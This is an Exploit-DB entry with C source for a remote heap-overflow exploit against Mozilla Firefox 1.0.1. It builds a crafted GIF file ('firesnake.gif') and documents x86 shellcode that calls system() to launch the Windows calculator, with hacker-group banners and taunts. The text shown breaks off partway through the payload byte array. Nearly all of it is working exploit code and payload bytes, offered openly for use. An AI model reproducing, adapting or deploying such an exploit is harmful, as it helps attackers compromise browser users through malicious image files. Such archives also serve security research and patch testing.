Exploit-DB #1089
Description: Mozilla FireFox 1.0.1 - Remote GIF Heap Overflow
Type: remote
Platform: windows
Date: 2005-07-05
Author: darkeagle

Exploit:
/*

  Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit

  by Darkeagle of uKt Researcherz
  darkeagle [at] linkin-park [dot] cc

  greetz to all my friends }8{)

  and... Happy Birthday uKt research team }8{) 1 year }8{)

  http://unl0ck.org

  !!!-script kiddie edition-!!!

               ^^^^^^^^^^^^^^^^^^^^
             U     U   k  kk  ttttttt
            U     U   k  k      tt
            U    U   k kk      tt    (c) '04-'05 		55k7 researcherz
             UUU    k   kk    tt
           ^^^^^^^^^^^^^^^^^^^^^^^^^

             successfully tested on: Notebook LogyCom Expert Intel Pentium IV 2.8 Ghz, 256RAM, 40GB, 64mb Video SiS,
             								 WinXP SP1 RuS Pirated Edition
             exploit calls Standart Windows Calculator

            shellcode:

-----------------------
xor     eax, eax
push    eax
push    0x636c6163 ; calc
push    esp
pop     ebx
push    eax
push    ebx
mov     ecx, 0x77c18044  ; moved system() in %ecx
call    ecx              ; call system()
-----------------------

btw c0wZ happy birthday }:@

          ,-"""-,
          )~   ~(       ------------------------------------------------
      .-'(       )`-,  | m00[ov3r]:                                     |
      `~o`d\   /b`o~`  |  "i would drop you if you'll release exploit"  |
          |     |      |                                                |
          (6___6)      |     hahaha m00 wanna ownZ j00 <:@              |
           `--U`       |                                                |
                        ------------------------------------------------


*/

#include <stdio.h>
#include <string.h>
#include <windows.h>

#define FILENAME "firesnake.gif"

unsigned char data1[] = {
	0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x10, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0x0B,
	0x4E, 0x45, 0x54, 0x53, 0x43, 0x41, 0x50, 0x45, 0x32, 0x2E, 0x30, 0x55, 0x02, 0x00, 0x10, 0x00,
	0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x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61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
	0x61, 0x61, 0x61, 0x61, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x42, 0x42, 0x60, 0x00, 0x90, 0x00, 0x42, 0x42, 0x42,
	0x42, 0x30, 0x02, 0x02, 0x00, 0x00, 0xE0, 0xFD, 0x7F, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
	0x43, 0x4